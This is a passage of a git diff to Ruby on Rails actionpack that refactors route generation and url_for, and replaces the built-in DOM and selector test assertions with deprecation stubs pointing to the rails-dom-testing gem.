+ delegate :url_for, :optimize_routes_generation?, to: '@_routes'
+ attr_reader :_routes
+ def url_options; {}; end
+ end
- # Define url_for in the singleton level so one can do:
- # Rails.application.routes.url_helpers.url_for(args)
- @_routes = routes
- class << self
- delegate :url_for, :optimize_routes_generation?, :to => '@_routes'
- end
+ url_helpers = routes.named_routes.url_helpers_module
- # Make named_routes available in the module singleton
- # as well, so one can do:
- # Rails.application.routes.url_helpers.posts_path
- extend routes.named_routes.module
+ # Make named_routes available in the module singleton
+ # as well, so one can do:
+ # Rails.application.routes.url_helpers.posts_path
+ extend url_helpers
- # Any class that includes this module will get all
- # named routes...
- include routes.named_routes.module
+ # Any class that includes this module will get all
+ # named routes...
+ include url_helpers
- # plus a singleton class method called _routes ...
- included do
- singleton_class.send(:redefine_method, :_routes) { routes }
- end
+ if supports_path
+ path_helpers = routes.named_routes.path_helpers_module
+ else
+ path_helpers = routes.named_routes.path_helpers_module(true)
+ end
+
+ include path_helpers
+ extend path_helpers
- # And an instance method _routes. Note that
- # UrlFor (included in this module) add extra
- # conveniences for working with @_routes.
- define_method(:_routes) { @_routes || routes }
+ # plus a singleton class method called _routes ...
+ included do
+ singleton_class.send(:redefine_method, :_routes) { routes }
end
+
+ # And an instance method _routes. Note that
+ # UrlFor (included in this module) add extra
+ # conveniences for working with @_routes.
+ define_method(:_routes) { @_routes || routes }
+
+ define_method(:_generate_paths_by_default) do
+ supports_path
+ end
+
+ private :_generate_paths_by_default
end
end
@@ -369,16 +534,27 @@ module ActionDispatch
def add_route(app, conditions = {}, requirements = {}, defaults = {}, name = nil, anchor = true)
raise ArgumentError, "Invalid route name: '#{name}'" unless name.blank? || name.to_s.match(/^[_a-z]\w*$/i)
- path = build_path(conditions.delete(:path_info), requirements, SEPARATORS, anchor)
- conditions = build_conditions(conditions, path.names.map { |x| x.to_sym })
+ if name && named_routes[name]
+ raise ArgumentError, "Invalid route name, already in use: '#{name}' \n" \
+ "You may have defined two routes with the same name using the `:as` option, or " \
+ "you may be overriding a route already defined by a resource with the same naming. " \
+ "For the latter, you can restrict the routes created with `resources` as explained here: \n" \
+ "http://guides.rubyonrails.org/routing.html#restricting-the-routes-created"
+ end
+
+ path = conditions.delete :path_info
+ ast = conditions.delete :parsed_path_info
+ path = build_path(path, ast, requirements, anchor)
+ conditions = build_conditions(conditions, path.names.map(&:to_sym))
route = @set.add_route(app, path, conditions, defaults, name)
- named_routes[name] = route if name && !named_routes[name]
+ named_routes[name] = route if name
route
end
- def build_path(path, requirements, separators, anchor)
+ def build_path(path, ast, requirements, anchor)
strexp = Journey::Router::Strexp.new(
+ ast,
path,
requirements,
SEPARATORS,
@@ -420,7 +596,7 @@ module ActionDispatch
end
conditions.keep_if do |k, _|
- k == :action || k == :controller ||
+ k == :action || k == :controller || k == :required_defaults ||
@request_class.public_method_defined?(k) || path_values.include?(k)
end
end
@@ -431,7 +607,7 @@ module ActionDispatch
if name == :controller
value
elsif value.is_a?(Array)
- value.map { |v| v.to_param }.join('/')
+ value.map(&:to_param).join('/')
elsif param = value.to_param
param
end
@@ -439,17 +615,18 @@ module ActionDispatch
attr_reader :options, :recall, :set, :named_route
- def initialize(options, recall, set)
- @named_route = options.delete(:use_route)
+ def initialize(named_route, options, recall, set)
+ @named_route = named_route
@options = options.dup
@recall = recall.dup
@set = set
+ normalize_recall!
normalize_options!
normalize_controller_action_id!
use_relative_controller!
normalize_controller!
- handle_nil_action!
+ normalize_action!
end
def controller
@@ -468,6 +645,11 @@ module ActionDispatch
end
end
+ # Set 'index' as default action for recall
+ def normalize_recall!
+ @recall[:action] ||= 'index'
+ end
+
def normalize_options!
# If an explicit :controller was given, always make :action explicit
# too, so that action expiry works as expected for things like
@@ -483,8 +665,8 @@ module ActionDispatch
options[:controller] = options[:controller].to_s
end
- if options[:action]
- options[:action] = options[:action].to_s
+ if options.key?(:action)
+ options[:action] = (options[:action] || 'index').to_s
end
end
@@ -494,8 +676,6 @@ module ActionDispatch
# :controller, :action or :id is not found, don't pull any
# more keys from the recall.
def normalize_controller_action_id!
- @recall[:action] ||= 'index' if current_controller
-
use_recall_for(:controller) or return
use_recall_for(:action) or return
use_recall_for(:id)
@@ -517,21 +697,17 @@ module ActionDispatch
@options[:controller] = controller.sub(%r{^/}, '') if controller
end
- # This handles the case of action: nil being explicitly passed.
- # It is identical to action: "index"
- def handle_nil_action!
- if options.has_key?(:action) && options[:action].nil?
- options[:action] = 'index'
+ # Move 'index' action from options to recall
+ def normalize_action!
+ if @options[:action] == 'index'
+ @recall[:action] = @options.delete(:action)
end
- recall[:action] = options.delete(:action) if options[:action] == 'index'
end
- # Generates a path from routes, returns [path, params]
- # if no path is returned the formatter will raise Journey::Router::RoutingError
+ # Generates a path from routes, returns [path, params].
+ # If no route is generated the formatter will raise ActionController::UrlGenerationError
def generate
- @set.formatter.generate(:path_info, named_route, options, recall, PARAMETERIZE)
- rescue Journey::Router::RoutingError => e
- raise ActionController::UrlGenerationError, "No route matches #{options.inspect} #{e.message}"
+ @set.formatter.generate(named_route, options, recall, PARAMETERIZE)
end
def different_controller?
@@ -556,61 +732,74 @@ module ActionDispatch
end
def generate_extras(options, recall={})
- path, params = generate(options, recall)
+ route_key = options.delete :use_route
+ path, params = generate(route_key, options, recall)
return path, params.keys
end
- def generate(options, recall = {})
- Generator.new(options, recall, self).generate
+ def generate(route_key, options, recall = {})
+ Generator.new(route_key, options, recall, self).generate
end
+ private :generate
RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,
:trailing_slash, :anchor, :params, :only_path, :script_name,
:original_script_name]
- def mounted?
- false
+ def optimize_routes_generation?
+ default_url_options.empty?
end
- def optimize_routes_generation?
- !mounted? && default_url_options.empty?
+ def find_script_name(options)
+ options.delete(:script_name) || ''
end
- def _generate_prefix(options = {})
- nil
+ def path_for(options, route_name = nil) # :nodoc:
+ url_for(options, route_name, PATH)
end
- # The +options+ argument must be +nil+ or a hash whose keys are *symbols*.
- def url_for(options)
- options = default_url_options.merge(options || {})
+ # The +options+ argument must be a hash whose keys are *symbols*.
+ def url_for(options, route_name = nil, url_strategy = UNKNOWN)
+ options = default_url_options.merge options
+
+ user = password = nil
+
+ if options[:user] && options[:password]
+ user = options.delete :user
+ password = options.delete :password
+ end
- user, password = extract_authentication(options)
- recall = options.delete(:_recall)
+ recall = options.delete(:_recall) { {} }
- original_script_name = options.delete(:original_script_name).presence
- script_name = options.delete(:script_name).presence || _generate_prefix(options)
+ original_script_name = options.delete(:original_script_name)
+ script_name = find_script_name options
- if script_name && original_script_name
+ if original_script_name
script_name = original_script_name + script_name
end
- path_options = options.except(*RESERVED_OPTIONS)
- path_options = yield(path_options) if block_given?
+ path_options = options.dup
+ RESERVED_OPTIONS.each { |ro| path_options.delete ro }
- path, params = generate(path_options, recall || {})
- params.merge!(options[:params] || {})
+ path, params = generate(route_name, path_options, recall)
- ActionDispatch::Http::URL.url_for(options.merge!({
- :path => path,
- :script_name => script_name,
- :params => params,
- :user => user,
- :password => password
- }))
+ if options.key? :params
+ params.merge! options[:params]
+ end
+
+ options[:path] = path
+ options[:script_name] = script_name
+ options[:params] = params
+ options[:user] = user
+ options[:password] = password
+
+ url_strategy.call options
end
def call(env)
- @router.call(env)
+ req = request_class.new(env)
+ req.path_info = Journey::Router::Utils.normalize_path(req.path_info)
+ @router.serve(req)
end
def recognize_path(path, environment = {})
@@ -624,8 +813,8 @@ module ActionDispatch
raise ActionController::RoutingError, e.message
end
- req = @request_class.new(env)
- @router.recognize(req) do |route, matches, params|
+ req = request_class.new(env)
+ @router.recognize(req) do |route, params|
params.merge!(extras)
params.each do |key, value|
if value.is_a?(String)
@@ -633,14 +822,12 @@ module ActionDispatch
params[key] = URI.parser.unescape(value)
end
end
- old_params = env[::ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
- env[::ActionDispatch::Routing::RouteSet::PARAMETERS_KEY] = (old_params || {}).merge(params)
- dispatcher = route.app
- while dispatcher.is_a?(Mapper::Constraints) && dispatcher.matches?(env) do
- dispatcher = dispatcher.app
- end
+ old_params = req.path_parameters
+ req.path_parameters = old_params.merge params
+ app = route.app
+ if app.matches?(req) && app.dispatcher?
+ dispatcher = app.app
- if dispatcher.is_a?(Dispatcher)
if dispatcher.controller(params, false)
dispatcher.prepare_params!(params)
return params
@@ -652,17 +839,6 @@ module ActionDispatch
raise ActionController::RoutingError, "No route matches #{path.inspect}"
end
-
- private
-
- def extract_authentication(options)
- if options[:user] && options[:password]
- [options.delete(:user), options.delete(:password)]
- else
- nil
- end
- end
-
end
end
end
diff --git a/actionpack/lib/action_dispatch/routing/routes_proxy.rb b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
index 73af5920ed..e2393d3799 100644
--- a/actionpack/lib/action_dispatch/routing/routes_proxy.rb
+++ b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/array/extract_options'
+
module ActionDispatch
module Routing
class RoutesProxy #:nodoc:
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
index 76311c423a..dca86858cc 100644
--- a/actionpack/lib/action_dispatch/routing/url_for.rb
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -20,7 +20,7 @@ module ActionDispatch
#
# <%= link_to('Click here', controller: 'users',
# action: 'new', message: 'Welcome!') %>
- # # => "/users/new?message=Welcome%21"
+ # # => <a href="/users/new?message=Welcome%21">Click here</a>
#
# link_to, and all other functions that require URL generation functionality,
# actually use ActionController::UrlFor under the hood. And in particular,
@@ -130,6 +130,7 @@ module ActionDispatch
# * <tt>:port</tt> - Optionally specify the port to connect to.
# * <tt>:anchor</tt> - An anchor name to be appended to the path.
# * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2009/"
+ # * <tt>:script_name</tt> - Specifies application path relative to domain root. If provided, prepends application path.
#
# Any other key (<tt>:controller</tt>, <tt>:action</tt>, etc.) given to
# +url_for+ is forwarded to the Routes module.
@@ -142,24 +143,35 @@ module ActionDispatch
# # => 'http://somehost.org/tasks/testing/'
# url_for controller: 'tasks', action: 'testing', host: 'somehost.org', number: '33'
# # => 'http://somehost.org/tasks/testing?number=33'
+ # url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp"
+ # # => 'http://somehost.org/myapp/tasks/testing'
+ # url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp", only_path: true
+ # # => '/myapp/tasks/testing'
def url_for(options = nil)
case options
when nil
_routes.url_for(url_options.symbolize_keys)
when Hash
- _routes.url_for(options.symbolize_keys.reverse_merge!(url_options))
+ route_name = options.delete :use_route
+ _routes.url_for(options.symbolize_keys.reverse_merge!(url_options),
+ route_name)
when String
options
+ when Symbol
+ HelperMethodBuilder.url.handle_string_call self, options
+ when Array
+ polymorphic_url(options, options.extract_options!)
+ when Class
+ HelperMethodBuilder.url.handle_class_call self, options
else
- polymorphic_url(options)
+ HelperMethodBuilder.url.handle_model_call self, options
end
end
protected
def optimize_routes_generation?
- return @_optimized_routes if defined?(@_optimized_routes)
- @_optimized_routes = _routes.optimize_routes_generation? && default_url_options.empty?
+ _routes.optimize_routes_generation? && default_url_options.empty?
end
def _with_routes(routes)
@@ -172,6 +184,12 @@ module ActionDispatch
def _routes_context
self
end
+
+ private
+
+ def _generate_paths_by_default
+ true
+ end
end
end
end
diff --git a/actionpack/lib/action_dispatch/testing/assertions.rb b/actionpack/lib/action_dispatch/testing/assertions.rb
index 226baf9ad0..f325c35b57 100644
--- a/actionpack/lib/action_dispatch/testing/assertions.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions.rb
@@ -1,18 +1,22 @@
+require 'rails-dom-testing'
+
module ActionDispatch
module Assertions
- autoload :DomAssertions, 'action_dispatch/testing/assertions/dom'
autoload :ResponseAssertions, 'action_dispatch/testing/assertions/response'
autoload :RoutingAssertions, 'action_dispatch/testing/assertions/routing'
- autoload :SelectorAssertions, 'action_dispatch/testing/assertions/selector'
- autoload :TagAssertions, 'action_dispatch/testing/assertions/tag'
extend ActiveSupport::Concern
- include DomAssertions
include ResponseAssertions
include RoutingAssertions
- include SelectorAssertions
- include TagAssertions
+ include Rails::Dom::Testing::Assertions
+
+ def html_document
+ @html_document ||= if @response.content_type =~ /xml$/
+ Nokogiri::XML::Document.parse(@response.body)
+ else
+ Nokogiri::HTML::Document.parse(@response.body)
+ end
+ end
end
end
-
diff --git a/actionpack/lib/action_dispatch/testing/assertions/dom.rb b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
index 6c61d4e61a..fb579b52fe 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/dom.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
@@ -1,27 +1,3 @@
-require 'action_view/vendor/html-scanner'
+require 'active_support/deprecation'
-module ActionDispatch
- module Assertions
- module DomAssertions
- # \Test two HTML strings for equivalency (e.g., identical up to reordering of attributes)
- #
- # # assert that the referenced method generates the appropriate HTML string
- # assert_dom_equal '<a href="http://www.example.com">Apples</a>', link_to("Apples", "http://www.example.com")
- def assert_dom_equal(expected, actual, message = "")
- expected_dom = HTML::Document.new(expected).root
- actual_dom = HTML::Document.new(actual).root
- assert_equal expected_dom, actual_dom
- end
-
- # The negated form of +assert_dom_equivalent+.
- #
- # # assert that the referenced method does not generate the specified HTML string
- # assert_dom_not_equal '<a href="http://www.example.com">Apples</a>', link_to("Oranges", "http://www.example.com")
- def assert_dom_not_equal(expected, actual, message = "")
- expected_dom = HTML::Document.new(expected).root
- actual_dom = HTML::Document.new(actual).root
- refute_equal expected_dom, actual_dom
- end
- end
- end
-end
+ActiveSupport::Deprecation.warn("ActionDispatch::Assertions::DomAssertions has been extracted to the rails-dom-testing gem.") \ No newline at end of file
diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb
index 44ed0ac1f3..13a72220b3 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/response.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb
@@ -27,6 +27,9 @@ module ActionDispatch
assert @response.send("#{type}?"), message
else
code = Rack::Utils::SYMBOL_TO_STATUS_CODE[type]
+ if code.nil?
+ raise ArgumentError, "Invalid response type :#{type}"
+ end
assert_equal code, @response.response_code, message
end
else
@@ -67,21 +70,12 @@ module ActionDispatch
end
def normalize_argument_to_redirection(fragment)
- normalized = case fragment
- when Regexp
- fragment
- when %r{^\w[A-Za-z\d+.-]*:.*}
- fragment
- when String
- @request.protocol + @request.host_with_port + fragment
- when :back
- raise RedirectBackError unless refer = @request.headers["Referer"]
- refer
- else
- @controller.url_for(fragment)
- end
-
- normalized.respond_to?(:delete) ? normalized.delete("\0\r\n") : normalized
+ if Regexp === fragment
+ fragment
+ else
+ handle = @controller || ActionController::Redirecting
+ handle._compute_redirect_to_location(@request, fragment)
+ end
end
end
end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
index 79dff7d121..28dc88d317 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -1,5 +1,6 @@
require 'uri'
require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/string/access'
require 'action_controller/metal/exceptions'
module ActionDispatch
@@ -37,7 +38,7 @@ module ActionDispatch
# # Test a custom route
# assert_recognizes({controller: 'items', action: 'show', id: '1'}, 'view/item1')
def assert_recognizes(expected_options, path, extras={}, msg=nil)
- request = recognized_request_for(path, extras)
+ request = recognized_request_for(path, extras, msg)
expected_options = expected_options.clone
@@ -68,9 +69,9 @@ module ActionDispatch
#
# # Asserts that the generated route gives us our custom route
# assert_generates "changesets/12", { controller: 'scm', action: 'show_diff', revision: "12" }
- def assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)
+ def assert_generates(expected_path, options, defaults={}, extras={}, message=nil)
if expected_path =~ %r{://}
- fail_on(URI::InvalidURIError) do
+ fail_on(URI::InvalidURIError, message) do
uri = URI.parse(expected_path)
expected_path = uri.path.to_s.empty? ? "/" : uri.path
end
@@ -80,7 +81,7 @@ module ActionDispatch
# Load routes.rb if it hasn't been loaded.
generated_path, extra_keys = @routes.generate_extras(options, defaults)
- found_extras = options.reject {|k, v| ! extra_keys.include? k}
+ found_extras = options.reject { |k, _| ! extra_keys.include? k }
msg = message || sprintf("found extras <%s>, not <%s>", found_extras, extras)
assert_equal(extras, found_extras, msg)
@@ -119,7 +120,7 @@ module ActionDispatch
options[:controller] = "/#{controller}"
end
- generate_options = options.dup.delete_if{ |k,v| defaults.key?(k) }
+ generate_options = options.dup.delete_if{ |k, _| defaults.key?(k) }
assert_generates(path.is_a?(Hash) ? path[:path] : path, generate_options, defaults, extras, message)
end
@@ -143,12 +144,6 @@ module ActionDispatch
old_controller, @controller = @controller, @controller.clone
_routes = @routes
- # Unfortunately, there is currently an abstraction leak between AC::Base
- # and AV::Base which requires having the URL helpers in both AC and AV.
- # To do this safely at runtime for tests, we need to bump up the helper serial
- # to that the old AV subclass isn't cached.
- #
- # TODO: Make this unnecessary
@controller.singleton_class.send(:include, _routes.url_helpers)
@controller.view_context_class = Class.new(@controller.view_context_class) do
include _routes.url_helpers
@@ -164,7 +159,7 @@ module ActionDispatch
# ROUTES TODO: These assertions should really work in an integration context
def method_missing(selector, *args, &block)
- if defined?(@controller) && @controller && @routes && @routes.named_routes.helpers.include?(selector)
+ if defined?(@controller) && @controller && @routes && @routes.named_routes.route_defined?(selector)
@controller.send(selector, *args, &block)
else
super
@@ -173,7 +168,7 @@ module ActionDispatch
private
# Recognizes the route for a given path.
- def recognized_request_for(path, extras = {})
+ def recognized_request_for(path, extras = {}, msg)
if path.is_a?(Hash)
method = path[:method]
path = path[:path]
@@ -185,7 +180,7 @@ module ActionDispatch
request = ActionController::TestRequest.new
if path =~ %r{://}
- fail_on(URI::InvalidURIError) do
+ fail_on(URI::InvalidURIError, msg) do
uri = URI.parse(path)
request.env["rack.url_scheme"] = uri.scheme || "http"
request.host = uri.host if uri.host
@@ -199,7 +194,7 @@ module ActionDispatch
request.request_method = method if method
- params = fail_on(ActionController::RoutingError) do
+ params = fail_on(ActionController::RoutingError, msg) do
@routes.recognize_path(path, { :method => method, :extras => extras })
end
request.path_parameters = params.with_indifferent_access
@@ -207,12 +202,10 @@ module ActionDispatch
request
end
- def fail_on(exception_class)
- begin
- yield
- rescue exception_class => e
- raise MiniTest::Assertion, e.message
- end
+ def fail_on(exception_class, message)
+ yield
+ rescue exception_class => e
+ raise Minitest::Assertion, message || e.message
end
end
end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
index e481f3b245..7361e6c44b 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/selector.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
@@ -1,430 +1,3 @@
-require 'action_view/vendor/html-scanner'
-require 'active_support/core_ext/object/inclusion'
+require 'active_support/deprecation'
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-module ActionDispatch
- module Assertions
- NO_STRIP = %w{pre script style textarea}
-
- # Adds the +assert_select+ method for use in Rails functional
- # test cases, which can be used to make assertions on the response HTML of a controller
- # action. You can also call +assert_select+ within another +assert_select+ to
- # make assertions on elements selected by the enclosing assertion.
- #
- # Use +css_select+ to select elements without making an assertions, either
- # from the response HTML or elements selected by the enclosing assertion.
- #
- # In addition to HTML responses, you can make the following assertions:
- #
- # * +assert_select_encoded+ - Assertions on HTML encoded inside XML, for example for dealing with feed item descriptions.
- # * +assert_select_email+ - Assertions on the HTML body of an e-mail.
- #
- # Also see HTML::Selector to learn how to use selectors.
- module SelectorAssertions
- # Select and return all matching elements.
- #
- # If called with a single argument, uses that argument as a selector
- # to match all elements of the current page. Returns an empty array
- # if no match is found.
- #
- # If called with two arguments, uses the first argument as the base
- # element and the second argument as the selector. Attempts to match the
- # base element and any of its children. Returns an empty array if no
- # match is found.
- #
- # The selector may be a CSS selector expression (String), an expression
- # with substitution values (Array) or an HTML::Selector object.
- #
- # # Selects all div tags
- # divs = css_select("div")
- #
- # # Selects all paragraph tags and does something interesting
- # pars = css_select("p")
- # pars.each do |par|
- # # Do something fun with paragraphs here...
- # end
- #
- # # Selects all list items in unordered lists
- # items = css_select("ul>li")
- #
- # # Selects all form tags and then all inputs inside the form
- # forms = css_select("form")
- # forms.each do |form|
- # inputs = css_select(form, "input")
- # ...
- # end
- def css_select(*args)
- # See assert_select to understand what's going on here.
- arg = args.shift
-
- if arg.is_a?(HTML::Node)
- root = arg
- arg = args.shift
- elsif arg == nil
- raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
- elsif defined?(@selected) && @selected
- matches = []
-
- @selected.each do |selected|
- subset = css_select(selected, HTML::Selector.new(arg.dup, args.dup))
- subset.each do |match|
- matches << match unless matches.any? { |m| m.equal?(match) }
- end
- end
-
- return matches
- else
- root = response_from_page
- end
-
- case arg
- when String
- selector = HTML::Selector.new(arg, args)
- when Array
- selector = HTML::Selector.new(*arg)
- when HTML::Selector
- selector = arg
- else raise ArgumentError, "Expecting a selector as the first argument"
- end
-
- selector.select(root)
- end
-
- # An assertion that selects elements and makes one or more equality tests.
- #
- # If the first argument is an element, selects all matching elements
- # starting from (and including) that element and all its children in
- # depth-first order.
- #
- # If no element if specified, calling +assert_select+ selects from the
- # response HTML unless +assert_select+ is called from within an +assert_select+ block.
- #
- # When called with a block +assert_select+ passes an array of selected elements
- # to the block. Calling +assert_select+ from the block, with no element specified,
- # runs the assertion on the complete set of elements selected by the enclosing assertion.
- # Alternatively the array may be iterated through so that +assert_select+ can be called
- # separately for each element.
- #
- #
- # ==== Example
- # If the response contains two ordered lists, each with four list elements then:
- # assert_select "ol" do |elements|
- # elements.each do |element|
- # assert_select element, "li", 4
- # end
- # end
- #
- # will pass, as will:
- # assert_select "ol" do
- # assert_select "li", 8
- # end
- #
- # The selector may be a CSS selector expression (String), an expression
- # with substitution values, or an HTML::Selector object.
- #
- # === Equality Tests
- #
- # The equality test may be one of the following:
- # * <tt>true</tt> - Assertion is true if at least one element selected.
- # * <tt>false</tt> - Assertion is true if no element selected.
- # * <tt>String/Regexp</tt> - Assertion is true if the text value of at least
- # one element matches the string or regular expression.
- # * <tt>Integer</tt> - Assertion is true if exactly that number of
- # elements are selected.
- # * <tt>Range</tt> - Assertion is true if the number of selected
- # elements fit the range.
- # If no equality test specified, the assertion is true if at least one
- # element selected.
- #
- # To perform more than one equality tests, use a hash with the following keys:
- # * <tt>:text</tt> - Narrow the selection to elements that have this text
- # value (string or regexp).
- # * <tt>:html</tt> - Narrow the selection to elements that have this HTML
- # content (string or regexp).
- # * <tt>:count</tt> - Assertion is true if the number of selected elements
- # is equal to this value.
- # * <tt>:minimum</tt> - Assertion is true if the number of selected
- # elements is at least this value.
- # * <tt>:maximum</tt> - Assertion is true if the number of selected
- # elements is at most this value.
- #
- # If the method is called with a block, once all equality tests are
- # evaluated the block is called with an array of all matched elements.
- #
- # # At least one form element
- # assert_select "form"
- #
- # # Form element includes four input fields
- # assert_select "form input", 4
- #
- # # Page title is "Welcome"
- # assert_select "title", "Welcome"
- #
- # # Page title is "Welcome" and there is only one title element
- # assert_select "title", {count: 1, text: "Welcome"},
- # "Wrong title or more than one title element"
- #
- # # Page contains no forms
- # assert_select "form", false, "This page must contain no forms"
- #
- # # Test the content and style
- # assert_select "body div.header ul.menu"
- #
- # # Use substitution values
- # assert_select "ol>li#?", /item-\d+/
- #
- # # All input fields in the form have a name
- # assert_select "form input" do
- # assert_select "[name=?]", /.+/ # Not empty
- # end
- def assert_select(*args, &block)
- # Start with optional element followed by mandatory selector.
- arg = args.shift
- @selected ||= nil
-
- if arg.is_a?(HTML::Node)
- # First argument is a node (tag or text, but also HTML root),
- # so we know what we're selecting from.
- root = arg
- arg = args.shift
- elsif arg == nil
- # This usually happens when passing a node/element that
- # happens to be nil.
- raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
- elsif @selected
- root = HTML::Node.new(nil)
- root.children.concat @selected
- else
- # Otherwise just operate on the response document.
- root = response_from_page
- end
-
- # First or second argument is the selector: string and we pass
- # all remaining arguments. Array and we pass the argument. Also
- # accepts selector itself.
- case arg
- when String
- selector = HTML::Selector.new(arg, args)
- when Array
- selector = HTML::Selector.new(*arg)
- when HTML::Selector
- selector = arg
- else raise ArgumentError, "Expecting a selector as the first argument"
- end
-
- # Next argument is used for equality tests.
- equals = {}
- case arg = args.shift
- when Hash
- equals = arg
- when String, Regexp
- equals[:text] = arg
- when Integer
- equals[:count] = arg
- when Range
- equals[:minimum] = arg.begin
- equals[:maximum] = arg.end
- when FalseClass
- equals[:count] = 0
- when NilClass, TrueClass
- equals[:minimum] = 1
- else raise ArgumentError, "I don't understand what you're trying to match"
- end
-
- # By default we're looking for at least one match.
- if equals[:count]
- equals[:minimum] = equals[:maximum] = equals[:count]
- else
- equals[:minimum] = 1 unless equals[:minimum]
- end
-
- # Last argument is the message we use if the assertion fails.
- message = args.shift
- #- message = "No match made with selector #{selector.inspect}" unless message
- if args.shift
- raise ArgumentError, "Not expecting that last argument, you either have too many arguments, or they're the wrong type"
- end
-
- matches = selector.select(root)
- # If text/html, narrow down to those elements that match it.
- content_mismatch = nil
- if match_with = equals[:text]
- matches.delete_if do |match|
- text = ""
- stack = match.children.reverse
- while node = stack.pop
- if node.tag?
- stack.concat node.children.reverse
- else
- content = node.content
- text << content
- end
- end
- text.strip! unless NO_STRIP.include?(match.name)
- text.sub!(/\A\n/, '') if match.name == "textarea"
- unless match_with.is_a?(Regexp) ? (text =~ match_with) : (text == match_with.to_s)
- content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, text)
- true
- end
- end
- elsif match_with = equals[:html]
- matches.delete_if do |match|
- html = match.children.map(&:to_s).join
- html.strip! unless NO_STRIP.include?(match.name)
- unless match_with.is_a?(Regexp) ? (html =~ match_with) : (html == match_with.to_s)
- content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, html)
- true
- end
- end
- end
- # Expecting foo found bar element only if found zero, not if
- # found one but expecting two.
- message ||= content_mismatch if matches.empty?
- # Test minimum/maximum occurrence.
- min, max, count = equals[:minimum], equals[:maximum], equals[:count]
-
- # FIXME: minitest provides messaging when we use assert_operator,
- # so is this custom message really needed?
- message = message || %(Expected #{count_description(min, max, count)} matching "#{selector.to_s}", found #{matches.size}.)
- if count
- assert_equal matches.size, count, message
- else
- assert_operator matches.size, :>=, min, message if min
- assert_operator matches.size, :<=, max, message if max
- end
-
- # If a block is given call that block. Set @selected to allow
- # nested assert_select, which can be nested several levels deep.
- if block_given? && !matches.empty?
- begin
- in_scope, @selected = @selected, matches
- yield matches
- ensure
- @selected = in_scope
- end
- end
-
- # Returns all matches elements.
- matches
- end
-
- def count_description(min, max, count) #:nodoc:
- pluralize = lambda {|word, quantity| word << (quantity == 1 ? '' : 's')}
-
- if min && max && (max != min)
- "between #{min} and #{max} elements"
- elsif min && max && max == min && count
- "exactly #{count} #{pluralize['element', min]}"
- elsif min && !(min == 1 && max == 1)
- "at least #{min} #{pluralize['element', min]}"
- elsif max
- "at most #{max} #{pluralize['element', max]}"
- end
- end
-
- # Extracts the content of an element, treats it as encoded HTML and runs
- # nested assertion on it.
- #
- # You typically call this method within another assertion to operate on
- # all currently selected elements. You can also pass an element or array
- # of elements.
- #
- # The content of each element is un-encoded, and wrapped in the root
- # element +encoded+. It then calls the block with all un-encoded elements.
- #
- # # Selects all bold tags from within the title of an Atom feed's entries (perhaps to nab a section name prefix)
- # assert_select "feed[xmlns='http://www.w3.org/2005/Atom']" do
- # # Select each entry item and then the title item
- # assert_select "entry>title" do
- # # Run assertions on the encoded title elements
- # assert_select_encoded do
- # assert_select "b"
- # end
- # end
- # end
- #
- #
- # # Selects all paragraph tags from within the description of an RSS feed
- # assert_select "rss[version=2.0]" do
- # # Select description element of each feed item.
- # assert_select "channel>item>description" do
- # # Run assertions on the encoded elements.
- # assert_select_encoded do
- # assert_select "p"
- # end
- # end
- # end
- def assert_select_encoded(element = nil, &block)
- case element
- when Array
- elements = element
- when HTML::Node
- elements = [element]
- when nil
- unless elements = @selected
- raise ArgumentError, "First argument is optional, but must be called from a nested assert_select"
- end
- else
- raise ArgumentError, "Argument is optional, and may be node or array of nodes"
- end
-
- fix_content = lambda do |node|
- # Gets around a bug in the Rails 1.1 HTML parser.
- node.content.gsub(/<!\[CDATA\[(.*)(\]\]>)?/m) { Rack::Utils.escapeHTML($1) }
- end
-
- selected = elements.map do |_element|
- text = _element.children.select{ |c| not c.tag? }.map{ |c| fix_content[c] }.join
- root = HTML::Document.new(CGI.unescapeHTML("<encoded>#{text}</encoded>")).root
- css_select(root, "encoded:root", &block)[0]
- end
-
- begin
- old_selected, @selected = @selected, selected
- assert_select ":root", &block
- ensure
- @selected = old_selected
- end
- end
-
- # Extracts the body of an email and runs nested assertions on it.
- #
- # You must enable deliveries for this assertion to work, use:
- # ActionMailer::Base.perform_deliveries = true
- #
- # assert_select_email do
- # assert_select "h1", "Email alert"
- # end
- #
- # assert_select_email do
- # items = assert_select "ol>li"
- # items.each do
- # # Work with items here...
- # end
- # end
- def assert_select_email(&block)
- deliveries = ActionMailer::Base.deliveries
- assert !deliveries.empty?, "No e-mail in delivery list"
-
- deliveries.each do |delivery|
- (delivery.parts.empty? ? [delivery] : delivery.parts).each do |part|
